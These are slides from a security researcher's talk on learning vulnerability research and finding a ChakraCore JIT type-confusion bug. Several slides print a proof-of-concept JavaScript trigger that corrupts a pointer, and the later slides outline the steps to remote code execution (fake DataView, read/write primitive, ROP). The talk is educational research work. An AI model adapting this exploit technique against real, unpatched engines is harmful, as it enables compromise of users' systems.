From Zero To Zero Day

Download as pdf or txt
Download as pdf or txt
You are on page 1of 67

FROM ZERO TO ZERO DAY

@j0nathanj / Jonathan Jacobi


MSRC-IL, Microsoft
# whoami

• @j0nathanj

• 18 years old, CS and Math graduate

• Interested in vuln research

• Security researcher @ MSRC-IL

• A CTF player with Perfect Blue


What is this talk about?

• My journey, basically

• What I learned in the past year ~

• How it got me to finding my first 0-day in ChakraCore

• Demo!
Vuln research – why?

• Thinking of cases that the devs did not consider

• A very challenging riddle :)

• It’s awesome!
What is a vulnerability?
What is a vulnerability?
What is a vulnerability?
The Journey, part 0x0: Programming
• Being a solid developer is an important part of being a vuln researcher

• The most notable and used programming languages/topics that helped me progress
are mainly C, C++, Assembly, OS internals and Python

• The C Programming Language – awesome read!

• I don’t really know enough C++ tbh :P

• Assembly I learned from an awesome book in Hebrew


Part 0x1: Vuln research basics
• Basic vulnerabilities
• Classic stack buffer overflows • CTFs!
• Integer overflows • Group effort, much more exciting

• Heap overflows • Totally fine to fail

• Use after Frees

• Solve basic challenges:


• Overthewire

• Exploit-exercises

• Write ups – great way to learn!


Part 0x2: Diving to the deep water

• Make sure you’re familiar with the basics

• BUT: DON’T stay in the “shallow water” for too long

• Try harder things, don’t be afraid to fail - we all learn from our failures!

• I tried to always expose myself to harder challenges, even to ones I was not sure I
could solve.
Part 0x3: Pwn, Repeat

• Practice =)

• Solve CTF challenges, read write-ups for them

• Read about actual real-world vulns

• GET YOUR HANDS DIRTY!


What IS a vulnerability?

vulnerability
Part 0x4: Vuln discovery

• I came to the point where I have seen a few different vuln types, and some of them
had some things in common.

• Some examples to where a lot of vulns exist:


- Complex code

- Programming errors, e.g., integer or signedness issues

- Bad coding practices, e.g., assuming too much about input

- Many more
Part 0x4: Vuln discovery

• Very trivial, yet still out there!

• Bugs are bugs (regardless of how complex they are)

• There are still countless bugs out there!


Part 0x4: Vuln discovery – CTFs vs. IRL

• CTFs: Usually in CTFs the vuln is a bug that does not require too much to reach it

• IRL: Some times vulns aren’t a single mistake


• A bunch of weird states/primitives

• Chained together, they form something bigger

• Can be turned into a vuln

• We will see that later in the Chakra vuln ☺


JavaScript (Engines) 101

• “But you didn’t say you learned JavaScript!”

• JS engines are responsible for actually running the JS code that comes in

• Doing this efficiently is hard, which is the why they are so complex
• Parser
• Interpreter
• Runtime
• JIT compiler <--- the interesting part for our use-case
• Garbage Collector
JavaScript 101 :: Basics

• Dynamically typed language

• Fairly readable

var array = [1.1, 1234, "value"];


var another_array = new Array(10);

var obj = { member : "value" };

console.log(array[0]); // prints 1.1


console.log(obj.member); // prints value
JavaScript 101 :: Prototypes

• JS objects have “prototypes”, which are used to inherit features from other objects

• Can be modified using __proto__ to change the prototype of an object

var parentObj = { x : 1, y : 2 };
var childObj = { z : 3 };
childObj.__proto__ = parentObj;

console.log(childObj.x); // 1
console.log(childObj.y); // 2
console.log(childObj.z); // 3
JavaScript 101 :: Proxy

• A Proxy is an Object that can be used to re-define basic operations

• We can trap calls to functions like object getters and setters


• Including the getter for __proto__!

function getter_handler(o, member) {


return "got proxied";
}

var handler = { get : getter_handler };


var proxy = new Proxy({}, handler);

proxy.x = 0x1337;
console.log(proxy.x); // prints "got_proxied"
ChakraCore 101 :: Arrays

JavascriptNativeIntArray

• Stores integers

• 4 bytes per element

var int_arr = [1];


ChakraCore 101 :: Arrays

JavascriptNativeFloatArray

• Stores floats

• 8 bytes per element

var float_arr = [13.37];


ChakraCore 101 :: Arrays

JavascriptArray

• Stores objects

• 8 bytes per element

var object_arr = [{}];


ChakraCore 101 :: Conversions

var int_arr = [1]; // JavascriptNativeIntArray

int_arr[0] = 13.37; // Converted to JavascriptNativeFloatArray

int_arr[0] = {}; // Converted to JavascriptArray

var float_arr = [1.1, 2, 3] // JavascriptNativeFloatArray


ChakraCore 101 :: Conversions

var mixed_arr = [1, 1.1, {}]; // JavascriptArray

var array1 = [1]; // JavascriptNativeIntArray

var array2 = [2]; // JavascriptNativeIntArray

array2.__proto__ = array1; // array1 --> JavascriptArray


ChakraCore 101 :: Array layout

JavascriptArray Segment Segment

ArrayFlags left left

length length length

head size size

… next next …
Element[0] Element[0]

… …

Loosely based on a diagram from “The ECMA and the Chakra: Hunting bugs in the Microsoft Edge Script Engine” by @natashenka. Great talk btw ☺
ChakraCore 101 :: Array layout

• When debugging the following sample code, we can see the state of the fields
we just mentioned.

var arr = [0xaaaaaa, 0x31337];


ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

JavascriptArray properties

Segment properties

Segment’s memory layout


(includes the elements – the
address in the picture below
is pArr->head)
ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

• One interesting field for our vuln is the arrayFlags field of JavascriptArray.

• The “DynamicObjectFlags” is an enum which is defined as follows:


ChakraCore 101 :: Array layout var arr = [0xaaaaaa, 0x31337];

• In our example:

InitialArrayValue = ObjectArrayFlagsTag | HasNoMissingValues

• The HasNoMissingValues flag indicates that the array does not have missing
values

• The ObjectArrayFlagsTag flag is not interesting for our case


ChakraCore internals :: Missing Values
• Code sample:
var arr = new Array(3);

arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef


arr[2] = 2261634.5098039214; // == (double)0x4141414141414141

• The array’s arrayFlags property:

As seen, the
HasNoMissingValues flag
is OFF – which indicates that
there are indeed missing
values in the array.
ChakraCore internals :: var arr = new Array(3);
arr[0] = -1.1885959257070704e+148; // == (double)0xdeadbeefdeadbeef

Missing Values arr[2] = 2261634.5098039214; // == (double)0x4141414141414141

• Let’s have a look at how those so called “missing values” are represented in memory.

• This is the memory dump of the Segment, marked in red are the elements of the array:

??? Where did 0xfff80002fff80002 come from?


ChakraCore vulns :: Missing Values

• Wait.. What ?
• Mixing data && metadata

• 2 separate things to indicate the same


state (HasNoMissingValues flag /
Magic value as element)
ChakraCore vulns :: Missing Values

• Can we insert a fake Missing Value to an array?

var arr = [1.1, 2.2, 3.3];

arr[0] = <MissingValue_Magic>; // this value changed a few times lately


console.log(arr[0]); // undefined

• Can be turned into a vuln! CVE-2018-8505 by @S0rryMybad and @lokihardt

• Not possible any more (or is it .. ? :P) – “mitigated” in a few ways


• Magic value constant changed (now can’t be represented as a float)
• A few more checks were added
ChakraCore internals (again) :: FLOATVAR

• In scenarios where we have a JavascriptArray with float values inside of it,


the float values are “boxed” and XORed with a constant:

• Can we use the same missing value trick in JavascriptArray?


• Is the magic constant different?
• XORing with the tag allows us to represent values that we couldn’t before
ChakraCore vulns :: FLOATVAR && Missing Values

• We can’t represent the magic value with a normal float, BUT:


• The magic value is still the same, even if FLOATVAR is enabled!
• xor(xor(a,b), a) == b
• The magic value can be represented by a “boxed” float: xor(magic, FloatTag_Value)!

var arr = [1.1, 2.2, {}]; // floats here are boxed


arr[0] = <Boxed_MagicValue_Float>;
console.log(arr[0]); // undefined
JIT Bugs :: Type Confusions

• JIT type confusions are vulns that occur due to wrong assumptions by the JIT
• Most common: “Side Effect” that took place, and the JIT was not aware of.

• Example:
• JITed function invokes a function foo() that changes the type of an array

• JITed function doesn’t know the conversion happened, and uses the old type of the array

• Leads to a Type Confusion in the JITed code, could potentially be turned into an RCE
JIT Bugs :: Type Confusions

• Theoretical example:

function jit(arr) {
foo(arr); // Side Effect *may* change arr’s type
• Force jit() to be JITed and optimized
}

for (let i = 0; i < 0x10000; i++) { • JITed function makes assumptions on


jit(arr_type1); obj type
}

• Has checks for whether (some)


jit(arr_type2); // cause type confusion
assumptions break
JIT Bugs :: Type Confusions

• Theoretical example:

• Side Effect took place

function jit(arr) { • JIT engine failed to check whether the


foo(arr); // Side Effect *may* change arr’s type assumptions are wrong
}
• Incorrect use of the array
for (let i = 0; i < 0x10000; i++) {
jit(arr_type1);
}

jit(arr_type2); // cause type confusion


ChakraCore vulns :: weird state --> vuln

• As already mentioned, this weird state was already investigated by Loki and
S0rryMybad

• They both found out that Array.prototype.concat has an interesting code-path


where it takes into account both HasNoMissingValues, and the values of the
elements in the array.
ChakraCore vulns :: weird state --> vuln

• Once we successfully have a fake missing value in an array (will be referred to as


“buggy”), the following code could trigger an interesting flow:

var float_arr = [ 1.1 ];

float_arr.concat(buggy); // buggy has a fake MissingValue


ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”

• We will reach the following if-statement:

We can get
isFillFromPrototypes to
return false if
HasNoMissingValues is set,
as seen in the next slide
ChakraCore vulns :: weird state --> vuln * “this” is what we referred to as “buggy”
ChakraCore vulns :: weird state --> vuln * aItem is what we referred to as “buggy”

• After passing the IsFillFromPrototypes() check, we will reach the following


else statement, as our array is not a native array:
ChakraCore vulns :: weird state --> vuln

• As HasNoMissingValues is true, we successfully reach the


CopyArrayElements call.

• CopyArrayElements invokes InternalCopyArrayElements, which is quite


interesting in our scenario.
ChakraCore vulns :: weird state --> vuln
• srcArray is our fake missing-value array (the one we named “buggy”)
ChakraCore vulns :: weird state --> vuln

• Iterates over the source array using ArrayElementEnumerator.


• Fun fact about ArrayElementEnumerator: It skips an element if its value is Missing
Value ( == 0xfff80002fff80002)
ChakraCore vulns :: weird state --> vuln
• As we have just seen, missing values are skipped in the iterator.

• --> start + count != end (since it skipped the missing-values)


ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln
ChakraCore vulns :: weird state --> vuln

• “ForEachOwnMissingArrayIndexOfObject” essentially calls


EnsureNonNativeArray for each of the prototypes in the prototype chain
ChakraCore vulns :: weird state --> vuln

• Any guesses what “EnsureNonNativeArray” does ? :P


ChakraCore vulns :: weird state --> vuln

• Quick recap:
• If we create an array with a fake Missing Value, but HasNoMissingValue flag is set, we
reach an interesting code flow from Array.prototype.concat()

• It will loop through the fake array’s prototype chain, and will make sure every prototype in
the prototype-chain is a Non-native array (AKA: JavascriptArray).

• Remember: if some object is the prototype of another object directly, the prototype is
converted to a JavascriptArray.
ChakraCore vulns :: weird state --> vuln

• So, if we could theoretically have a Native array as the prototype, we can cause it to be
converted to a JavascriptArray, without the JIT knowing it..
o Similarly to the “usual” Side-Effect JIT bugs explained earlier

• Fortunately for us, a trick to do so already exists && is well known!


• We can use a Proxy to trap the GetPrototype() call
• But still.. If we write our custom function it’ll detect it as having side-effects 
• …
• Object.prototype.valueOf is marked as without Side-Effects!
• Known and documented trick by Lokihardt, can be found here
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3]; Get jit() to be JITed
jit(tmp, [1.1]); Make it expect 2 Float arrays
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
“buggy” is our array with FLOATVAR
let arr = [1.1]; “arr” will be used as target for the Type Confusion
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf; Use valueOf to bypass the Side Effect constraint
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
The trapped GetPrototype() will return `arr` as
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
NativeFloatArray
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309; Insert a fake Missing Value to the array
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy); Trigger the JITed function
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1]; arr --> JavascriptNativeFloatArray
arr[0] = 1.1; concat() --> arr converted to JavascriptArray
let res = tmp.concat(buggy);
Overwrite a pointer in the JavascriptArray with “0x1234”
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
console.log(arr);
}
main();
ChakraCore vulns :: weird state --> vuln
• POC:
function jit(arr, buggy){
let tmp = [1.1];
arr[0] = 1.1;
let res = tmp.concat(buggy);
arr[0] = 2.3023e-320
}
function main(){
for(let i = 0; i < 0x10000; i++){
let tmp = [1.1, 2.2, 3.3];
jit(tmp, [1.1]);
}
let buggy = [1.1, {}, {}];
let arr = [1.1];
arr.getPrototypeOf = Object.prototype.valueOf;
buggy.__proto__ = new Proxy([], arr);
buggy[0] = 5.5627483035514150e-309;
jit(arr, buggy);
Crash on faked object @ 0x1234
console.log(arr);
}
(reading from 0x1234+8)
main();
ChakraCore vulns :: PoC --> RCE

• To exploit this bug we faked a DataView object, which in turn grants us an arbitrary read/write
primitive

• Our exploit is based on the Pwn.js library


• An awesome library!
• We had to fix a few small things to make it work for us

• We leaked a stack address with a known trick


• Given arbitrary read and an infoleak, we can get a stack pointer from reading some data off a
ThreadContext

• After that we just ROP and restore what we overwrote, allowing valid process continuation
DEMO
Thank you ☺

• @tom41sh && @Arbel2025 – definitely wouldn’t have made it without you guys!

• The whole @BlueHatIL crew for helping me be prepared for all this ☺

• The MSRC Vulnerabilities & Mitigations team for the great feedback

• @AmarSaar, @bkth_, @_niklasb and everyone else who helped me out!

• Everyone who’s here to watch my talk ;)


QUESTIONS?
Appendix – Learning Resources

• Sploitfun – Linux (x86) Exploit Development Series

• Shellphish how2heap repository

• CTFTime.org – great website to find information and writeups about CTFs

• Pwnable.kr

• Pwnable.tw

You might also like